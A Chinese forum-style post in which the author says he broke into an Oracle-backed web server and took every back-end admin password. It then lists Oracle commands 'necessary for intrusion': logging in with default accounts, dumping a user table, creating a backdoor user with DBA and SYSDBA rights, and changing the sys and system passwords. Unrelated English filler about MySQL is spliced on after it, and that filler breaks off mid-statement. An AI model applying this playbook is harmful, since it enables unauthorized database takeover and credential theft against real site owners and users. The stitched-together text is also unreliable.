最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码,我发现Oracle操作起
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码,我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来,一个星期的心血,版权所有,转载请注明作者.
1、su – oracle 不是必需,适合于没有DBA密码时使用,,可以不用密码来进入sqlplus界面。
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
3、SQL>connect / as sysdba ;(as sysoper)或
connect internal/oracle AS SYSDBA ;(scott/tiger)
conn sys/change_on_install as sysdba;
4、SQL>startup; 启动数据库实例
5、 查看当前的所有数据库: select * from v$database;
select name from v$database;
desc v$databases; 查看数据库结构字段
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
SQL>select * from V_$PWFILE_USERS;
Show user;查看当前数据库连接用户
8、进入test数据库:database test;
9、查看所有的数据库实例:select * from v$instance;
如:ora9i
10、查看当前库的所有数据表:
SQL> select TABLE_NAME from all_tables;
select * from all_tables;
SQL> select table_name from all_tables where table_name like '%u%';
TABLE_NAME
------------------------------
_default_auditing_options_
11、查看表结构:desc all_tables;
12、显示CQI.T_BBS_XUSER的所有字段结构:
desc CQI.T_BBS_XUSER;
13、获得CQI.T_BBS_XUSER表中的记录:
select * from CQI.T_BBS_XUSER;
14、增加数据库用户:(test11/test)
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
15、用户授权:
grant connect,resource,dba to test11;
grant sysdba to test11;
commit;
16、更改数据库用户的密码:(将sys与system的密码改为test.)
alter user sys indentified by test;
alter user system indentified by test;

InnoDBBufferPool reduces disk I/O by caching data and indexing pages, improving database performance. Its working principle includes: 1. Data reading: Read data from BufferPool; 2. Data writing: After modifying the data, write to BufferPool and refresh it to disk regularly; 3. Cache management: Use the LRU algorithm to manage cache pages; 4. Reading mechanism: Load adjacent data pages in advance. By sizing the BufferPool and using multiple instances, database performance can be optimized.

Compared with other programming languages, MySQL is mainly used to store and manage data, while other languages such as Python, Java, and C are used for logical processing and application development. MySQL is known for its high performance, scalability and cross-platform support, suitable for data management needs, while other languages have advantages in their respective fields such as data analytics, enterprise applications, and system programming.

MySQL is worth learning because it is a powerful open source database management system suitable for data storage, management and analysis. 1) MySQL is a relational database that uses SQL to operate data and is suitable for structured data management. 2) The SQL language is the key to interacting with MySQL and supports CRUD operations. 3) The working principle of MySQL includes client/server architecture, storage engine and query optimizer. 4) Basic usage includes creating databases and tables, and advanced usage involves joining tables using JOIN. 5) Common errors include syntax errors and permission issues, and debugging skills include checking syntax and using EXPLAIN commands. 6) Performance optimization involves the use of indexes, optimization of SQL statements and regular maintenance of databases.

MySQL is suitable for beginners to learn database skills. 1. Install MySQL server and client tools. 2. Understand basic SQL queries, such as SELECT. 3. Master data operations: create tables, insert, update, and delete data. 4. Learn advanced skills: subquery and window functions. 5. Debugging and optimization: Check syntax, use indexes, avoid SELECT*, and use LIMIT.

MySQL efficiently manages structured data through table structure and SQL query, and implements inter-table relationships through foreign keys. 1. Define the data format and type when creating a table. 2. Use foreign keys to establish relationships between tables. 3. Improve performance through indexing and query optimization. 4. Regularly backup and monitor databases to ensure data security and performance optimization.

MySQL is an open source relational database management system that is widely used in Web development. Its key features include: 1. Supports multiple storage engines, such as InnoDB and MyISAM, suitable for different scenarios; 2. Provides master-slave replication functions to facilitate load balancing and data backup; 3. Improve query efficiency through query optimization and index use.

SQL is used to interact with MySQL database to realize data addition, deletion, modification, inspection and database design. 1) SQL performs data operations through SELECT, INSERT, UPDATE, DELETE statements; 2) Use CREATE, ALTER, DROP statements for database design and management; 3) Complex queries and data analysis are implemented through SQL to improve business decision-making efficiency.

The basic operations of MySQL include creating databases, tables, and using SQL to perform CRUD operations on data. 1. Create a database: CREATEDATABASEmy_first_db; 2. Create a table: CREATETABLEbooks(idINTAUTO_INCREMENTPRIMARYKEY, titleVARCHAR(100)NOTNULL, authorVARCHAR(100)NOTNULL, published_yearINT); 3. Insert data: INSERTINTObooks(title, author, published_year)VA


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